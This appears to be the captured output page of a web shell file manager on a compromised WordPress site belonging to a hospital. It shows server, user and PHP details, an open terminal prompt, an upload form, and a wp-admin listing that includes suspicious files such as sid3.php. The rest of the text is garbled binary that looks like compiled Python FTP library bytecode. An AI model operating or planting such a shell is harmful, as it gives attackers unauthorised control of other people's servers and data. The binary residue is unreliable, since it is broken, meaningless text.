✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 ct„j!‹ã @sRddlZddlZddlmZddddddgZd Zd Zd ZGd d „d eƒZGdd„deƒZ Gdd„deƒZ Gdd„deƒZ Gdd„deƒZ ee efZdZdZGdd„dƒZy ddlZWnek rÌdZYn0XejZGdd„deƒZejdƒee eejfZdadd„Zdadd„Zdd„Zdd„Zdd „Z d(d#d$„Z!d%d&„Z"e#d'k�rNe"ƒdS))éN)Ú_GLOBAL_DEFAULT_TIMEOUTÚFTPÚ error_replyÚ error_tempÚ error_permÚ error_protoÚ all_errorsééi c@s eZdZdS)ÚErrorN)Ú__name__Ú __module__Ú __qualname__©rrú/usr/lib64/python3.6/ftplib.pyr 9sr c@s eZdZdS)rN)r r rrrrrr:sc@s eZdZdS)rN)r r rrrrrr;sc@s eZdZdS)rN)r r rrrrrr<sc@s eZdZdS)rN)r r rrrrrr=sz s c@s¤eZdZdZdZeZeZdZ dZ dZ dZ dZ dZddddedfdd„Zd d „Zd d „Zd\dd„Zdd„Zdd„ZeZdd„Zdd„Zdd„Zdd„Zdd„Zdd„Zd d!„Zd"d#„Zd$d%„Zd&d'„Z d(d)„Z!d*d+„Z"d,d-„Z#d.d/„Z$d0d1„Z%d]d2d3„Z&d^d4d5„Z'd_d6d7„Z(d`d9d:„Z)dad;d<„Z*dbd=d>„Z+dcd?d@„Z,dAdB„Z-dCdD„Z.dEdF„Z/dgfdGdH„Z0dIdJ„Z1dKdL„Z2dMdN„Z3dOdP„Z4dQdR„Z5dSdT„Z6dUdV„Z7dWdX„Z8dYdZ„Z9dS)drrÚNr zlatin-1FcCs0||_||_|r,|j|ƒ|r,|j|||ƒdS)N)Úsource_addressÚtimeoutÚconnectÚlogin)ÚselfÚhostÚuserÚpasswdÚacctrrrrrÚ__init__rs  z FTP.__init__cCs|S)Nr)rrrrÚ __enter__{sz FTP.__enter__cGsN|jdk rJz*y |jƒWnttfk r0YnXWd|jdk rH|jƒXdS)N)ÚsockÚquitÚOSErrorÚEOFErrorÚclose)rÚargsrrrÚ__exit__s    z FTP.__exit__içcCs„|dkr||_|dkr||_|dkr*||_|dk r8||_tj|j|jf|j|jd�|_|jj|_|jj d|j d�|_ |j ƒ|_ |j S)Nrriç)rÚr)Úencodingiüÿÿ)rÚportrrÚsocketÚcreate_connectionrZfamilyÚafÚmakefiler%ÚfileÚgetrespÚwelcome)rrr&rrrrrr‰s   z FTP.connectcCs|jrtd|j|jƒƒ|jS)Nz *welcome*)Ú debuggingÚprintÚsanitizer-)rrrrÚ getwelcome szFTP.getwelcomecCs ||_dS)N)r.)rÚlevelrrrÚset_debuglevel§szFTP.set_debuglevelcCs ||_dS)N)Ú passiveserver)rÚvalrrrÚset_pasv°sz FTP.set_pasvcCsJ|dd…dkrBt|jdƒƒ}|dd…d|d||d…}t|ƒS)Néúpass úPASS z Ú*>r9r8)ÚlenÚrstripÚrepr)rÚsÚirrrr0·s$z FTP.sanitizecCsRd|ksd|krtdƒ‚|t}|jdkr:td|j|ƒƒ|jj|j|jƒƒdS)Nú Ú z4an illegal newline character should not be containedr z*put*) Ú ValueErrorÚCRLFr.r/r0rÚsendallÚencoder%)rÚlinerrrÚputline¾s  z FTP.putlinecCs$|jrtd|j|ƒƒ|j|ƒdS)Nz*cmd*)r.r/r0rG)rrFrrrÚputcmdÇsz FTP.putcmdcCsŽ|jj|jdƒ}t|ƒ|jkr.td|jƒ‚|jdkrHtd|j|ƒƒ|sPt‚|dd…t krn|dd…}n|dd…t krŠ|dd…}|S) Nr zgot more than %d bytesz*get*ééþÿÿÿrJéÿÿÿÿrK) r+ÚreadlineÚmaxliner;r r.r/r0r rC)rrFrrrÚgetlineÍs  z FTP.getlinecCsd|jƒ}|dd…dkr`|dd…}x:|jƒ}|d|}|dd…|kr&|dd…dkr&Pq&W|S)Nééú-rA)rN)rrFÚcodeZnextlinerrrÚ getmultilineßs  zFTP.getmultilinecCsp|jƒ}|jrtd|j|ƒƒ|dd…|_|dd…}|d krD|S|dkrTt|ƒ‚|dkrdt|ƒ‚t|ƒ‚dS) Nz*resp*rOr Ú1Ú2Ú3Ú4Ú5>rVrUrT)rSr.r/r0Zlastresprrr)rÚrespÚcrrrr,ís z FTP.getrespcCs$|jƒ}|dd…dkr t|ƒ‚|S)Nr rU)r,r)rrYrrrÚvoidrespûsz FTP.voidrespcCsTdt}|jdkr"td|j|ƒƒ|jj|tƒ|jƒ}|dd…dkrPt|ƒ‚|S) NsABORr z *put urgent*rOÚ426Ú225Ú226>r^r\r]) ÚB_CRLFr.r/r0rrDÚMSG_OOBrSr)rrFrYrrrÚaborts z FTP.abortcCs|j|ƒ|jƒS)N)rHr,)rÚcmdrrrÚsendcmds z FTP.sendcmdcCs|j|ƒ|jƒS)N)rHr[)rrbrrrÚvoidcmds z FTP.voidcmdcCsB|jdƒ}t|dƒt|dƒg}||}ddj|ƒ}|j|ƒS)NÚ.ézPORT ú,)Úsplitr=Újoinrd)rrr&ZhbytesZpbytesÚbytesrbrrrÚsendports  z FTP.sendportcCsbd}|jtjkrd}|jtjkr$d}|dkr4tdƒ‚dt|ƒ|t|ƒdg}ddj|ƒ}|j|ƒS)Nrr rIzunsupported address familyrzEPRT ú|)r)r'ÚAF_INETZAF_INET6rr=rird)rrr&r)ZfieldsrbrrrÚsendeprt$s  z FTP.sendeprtc Csd}d}xˆtjdd|jtjdtjƒD]j}|\}}}}}ytj|||ƒ}|j|ƒWn8tk rŠ} z| }|rt|jƒd}w$WYdd} ~ XnXPq$W|dkr°|dk r¨|‚ntdƒ‚|jdƒ|j ƒd} |j j ƒd} |jtj krî|j | | ƒ} n |j | | ƒ} |jtk �r|j|jƒ|S)Nrz!getaddrinfo returns an empty listr )r'Z getaddrinfor)Z SOCK_STREAMZ AI_PASSIVEZbindrr!ZlistenZ getsocknamerrmrkrnrrÚ settimeout) rÚerrrÚresr)ZsocktypeÚprotoZ canonnameZsaÚ_r&rrYrrrÚmakeport1s6       z FTP.makeportcCs\|jtjkr:t|jdƒƒ\}}|jr*|}qT|jjƒd}nt|jdƒ|jjƒƒ\}}||fS)NÚPASVrZEPSV) r)r'rmÚparse227rcÚtrust_server_pasv_ipv4_addressrZ getpeernameÚparse229)rZuntrusted_hostr&rrrrÚmakepasvQs z FTP.makepasvc Cs6d}|jr”|jƒ\}}tj||f|j|jd�}yL|dk rF|jd|ƒ|j|ƒ}|ddkrd|jƒ}|ddkrxt|ƒ‚Wn|j ƒ‚YnXn€|j ƒ�r}|dk r´|jd|ƒ|j|ƒ}|ddkrÒ|jƒ}|ddkræt|ƒ‚|j ƒ\}} |jt k �r |j |jƒWdQRX|dd…dk�r.t|ƒ}||fS)N)rzREST %srrUrTrOÚ150)r4ryr'r(rrrcr,rr!rtZacceptrroÚparse150) rrbÚrestÚsizerr&ÚconnrYrZsockaddrrrrÚ ntransfercmd]s<             zFTP.ntransfercmdcCs|j||ƒdS)Nr)r)rrbr|rrrÚ transfercmd”szFTP.transfercmdcCsŠ|sd}|sd}|sd}|dkr0|d kr0|d}|jd|ƒ}|ddkrX|jd|ƒ}|ddkrr|jd |ƒ}|dd kr†t|ƒ‚|S) NZ anonymousrrQz anonymous@zUSER rrVzPASS zACCT rU>rrQ)rcr)rrrrrYrrrr˜s    z FTP.loginé c Csb|jdƒ|j||ƒ�>}x|j|ƒ}|s*P||ƒqWtdk rPt|tƒrP|jƒWdQRX|jƒS)NzTYPE I)rdr€ZrecvÚ _SSLSocketÚ isinstanceÚunwrapr[)rrbÚcallbackÚ blocksizer|r~ÚdatarrrÚ retrbinary²s   zFTP.retrbinarycCsü|dkr t}|jdƒ}|j|ƒ�Î}|jd|jd��²}x�|j|jdƒ}t|ƒ|jkrbtd|jƒ‚|j dkrzt dt |ƒƒ|s€P|d d…t krž|dd …}n|d d…dkrº|dd …}||ƒq6Wt dk ràt|t ƒrà|jƒWdQRXWdQRX|jƒS) NzTYPE Ar$)r%r zgot more than %d bytesrIz*retr*rArJrJrKrK)Ú print_linercr€r*r%rLrMr;r r.r/r=rCr‚rƒr„r[)rrbr…rYr~ÚfprFrrrÚ retrlinesÌs*      z FTP.retrlinesc Csp|jdƒ|j||ƒ�L}x*|j|ƒ}|s*P|j|ƒ|r||ƒqWtdk r^t|tƒr^|jƒWdQRX|jƒS)NzTYPE I)rdr€ÚreadrDr‚rƒr„r[)rrbrŠr†r…r|r~ÚbufrrrÚ storbinaryïs    zFTP.storbinaryc CsÀ|jdƒ|j|ƒ�ž}x||j|jdƒ}t|ƒ|jkrDtd|jƒ‚|sJP|dd…tkrz|dtkrr|dd…}|t}|j|ƒ|r||ƒqWtdk r®t |tƒr®|j ƒWdQRX|j ƒS)NzTYPE Ar zgot more than %d bytesrIrJrKrK) rdr€rLrMr;r r_rDr‚rƒr„r[)rrbrŠr…r~r�rrrÚ storlines s$     z FTP.storlinescCsd|}|j|ƒS)NzACCT )rd)rZpasswordrbrrrr+szFTP.acctcGs4d}x|D]}|d|}q Wg}|j||jƒ|S)NZNLSTú )r‹Úappend)rr"rbÚargÚfilesrrrÚnlst0s  zFTP.nlstcGsld}d}|dd…r>t|dƒtdƒkr>|dd…|d}}x|D]}|rD|d|}qDW|j||ƒdS) NZLISTr rr�rKrKrKrK)Útyper‹)rr"rbÚfuncr’rrrÚdir9s  zFTP.dirc cs®|r|jddj|ƒdƒ|r*d|}nd}g}|j||jƒxh|D]`}|jtƒjdƒ\}}}i} x6|dd…jdƒD] } | jdƒ\} }} | | | jƒ<qxW|| fVqFWdS) Nz OPTS MLST ú;zMLSD %sZMLSDr�r ú=rK) rcrir‹r‘r<rCÚ partitionrhÚlower) rÚpathZfactsrbÚlinesrFZ facts_foundrsÚnameÚentryZfactÚkeyÚvaluerrrÚmlsdHs   zFTP.mlsdcCs0|jd|ƒ}|ddkr"t|ƒ‚|jd|ƒS)NzRNFR rrVzRNTO )rcrrd)rZfromnameZtonamerYrrrÚrenameds z FTP.renamecCs.|jd|ƒ}|dd…dkr"|St|ƒ‚dS)NzDELE rOÚ250Ú200>r¥r¤)rcr)rÚfilenamerYrrrÚdeleteksz FTP.deletecCsn|dkrPy |jdƒStk rL}z|jddd…dkr<‚WYdd}~Xq\Xn |dkr\d}d|}|j|ƒS) Nz..ZCDUPrrOÚ500rrezCWD )rdrr")rÚdirnameÚmsgrbrrrÚcwdss zFTP.cwdcCs:|jd|ƒ}|dd…dkr6|dd…jƒ}t|ƒSdS)NzSIZE rOZ213)rcÚstripÚint)rr¦rYr>rrrr}€szFTP.sizecCs$|jd|ƒ}|jdƒsdSt|ƒS)NzMKD Ú257r)rdÚ startswithÚparse257)rr©rYrrrÚmkdˆs zFTP.mkdcCs|jd|ƒS)NzRMD )rd)rr©rrrÚrmd‘szFTP.rmdcCs |jdƒ}|jdƒsdSt|ƒS)NZPWDr®r)rdr¯r°)rrYrrrÚpwd•s  zFTP.pwdcCs|jdƒ}|jƒ|S)NZQUIT)rdr!)rrYrrrržs zFTP.quitc CsDz |j}d|_|dk r|jƒWd|j}d|_|dk r>|jƒXdS)N)r+r!r)rr+rrrrr!¤s z FTP.closeéüÿÿ)rrr´N)N)N)rrr)r�N)N)r�NN)N):r r rr.rÚFTP_PORTr&ÚMAXLINErMrr+r-r4r%rwrrrr#rr1r3Údebugr6r0rGrHrNrSr,r[rarcrdrkrnrtryrr€rrˆr‹rŽr�rr”r—r¢r£r§r«r}r±r²r³rr!rrrrrJsj      7    #      c @sjeZdZejZdddddddedf dd„Zddd„Zdd „Z d d „Z d d „Z dd„Z ddd„Z dd„ZdS)ÚFTP_TLSrNc Cs¢|dk r|dk rtdƒ‚|dk r0|dk r0tdƒ‚|dk s@|dk rVddl} | jdtdƒ||_||_|dkr|tj|j||d�}||_ d|_ t j ||||||| ƒdS)Nz4context and keyfile arguments are mutually exclusivez5context and certfile arguments are mutually exclusiverzAkeyfile and certfile are deprecated, use a custom context insteadrI)ÚcertfileÚkeyfileF) rBÚwarningsÚwarnÚDeprecationWarningrºr¹ÚsslZ_create_stdlib_contextÚ ssl_versionÚcontextÚ_prot_prr) rrrrrrºr¹rÀrrr»rrrrÛs"zFTP_TLS.__init__TcCs,|rt|jtjƒ r|jƒtj||||ƒS)N)rƒrr¾Ú SSLSocketÚauthrr)rrrrZsecurerrrròsz FTP_TLS.logincCsft|jtjƒrtdƒ‚|jtjkr.|jdƒ}n |jdƒ}|jj |j|j d�|_|jj d|j d�|_ |S)NzAlready using TLSzAUTH TLSzAUTH SSL)Úserver_hostnamer$)Úmoder%)rƒrr¾rÂrBr¿ÚPROTOCOL_SSLv23rdrÀÚ wrap_socketrr*r%r+)rrYrrrrÃ÷s     z FTP_TLS.authcCs0t|jtjƒstdƒ‚|jdƒ}|jjƒ|_|S)Nz not using TLSZCCC)rƒrr¾rÂrBrdr„)rrYrrrÚcccs   z FTP_TLS.ccccCs|jdƒ|jdƒ}d|_|S)NzPBSZ 0zPROT PT)rdrÁ)rrYrrrÚprot_p s  zFTP_TLS.prot_pcCs|jdƒ}d|_|S)NzPROT CF)rdrÁ)rrYrrrÚprot_cs zFTP_TLS.prot_ccCs2tj|||ƒ\}}|jr*|jj||jd�}||fS)N)rÄ)rrrÁrÀrÇr)rrbr|r~r}rrrr$s  zFTP_TLS.ntransfercmdcCs8dt}|jj|ƒ|jƒ}|dd…dkr4t|ƒ‚|S)NsABORrOr\r]r^>r^r\r])r_rrDrSr)rrFrYrrrra+s  z FTP_TLS.abort)rrrT)N)r r rr¾rÆr¿rrrrÃrÈrÉrÊrrarrrrr¸¸s!    r¸cCs\|dd…dkrt|ƒ‚tdkrt |dƒ}||fS) NrOZ227rz#(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)rerPér7) rÚ_227_rerÌrÍrÏÚsearchrÚgroupsrir­)rYrÌrÒZnumbersrr&rrrrvNs rvcCsÀ|dd…dkrt|ƒ‚|jdƒ}|dkr2t|ƒ‚|jd|dƒ}|dkrRt|ƒ‚||d||dkrrt|ƒ‚||d|…j||dƒ}t|ƒdkr¤t|ƒ‚|d}t|dƒ}||fS)NrOZ229ú(rú)r r7)rÚfindrrhr;r­)rYZpeerÚleftÚrightÚpartsrr&rrrrxbs    rxcCsŒ|dd…dkrt|ƒ‚|dd…dkr,dSd}d}t|ƒ}xJ||kr†||}|d}|dkr|||ksr||dkrtP|d}||}q>W|S)NrOr®r7z "rr ú")rr;)rYr©r?ÚnrZrrrr°xs   r°cCs t|ƒdS)N)r/)rFrrrr‰�sr‰rÚIc Csš|s|}d|}|j|ƒ|j|ƒt|jdƒƒ\}}|j||ƒ|jd|ƒ}|dd…dkrdt‚|jd|ƒ}|dd…d kr†t‚|jƒ|jƒdS) NzTYPE ruzSTOR rOÚ125rzzRETR >rzrà>rzrà)rdrvrcrkrr[) ÚsourceZ sourcenameÚtargetZ targetnamer•Z sourcehostZ sourceportZtreplyZsreplyrrrÚftpcp”s   rãc Csìttjƒdkr"ttjƒtjdƒddl}d}d}x"tjddkrT|d}tjd=q4Wtjddd…dkr†tjddd…}tjd=tjd}t|ƒ}|j |ƒd}}}y|j|ƒ}Wn(t k rä|dk ràtj j dƒYn:Xy|j |ƒ\}}}Wn"tk �rtj j dƒYnX|j|||ƒx²tjdd…D] } | dd…d k�rf|j| dd…ƒnt| dd…dk�rªd } | dd…�rž| d | dd…} |j| ƒ} n0| d k�rÄ|j|j ƒn|jd | tjj dƒ�q'sN   k  |  9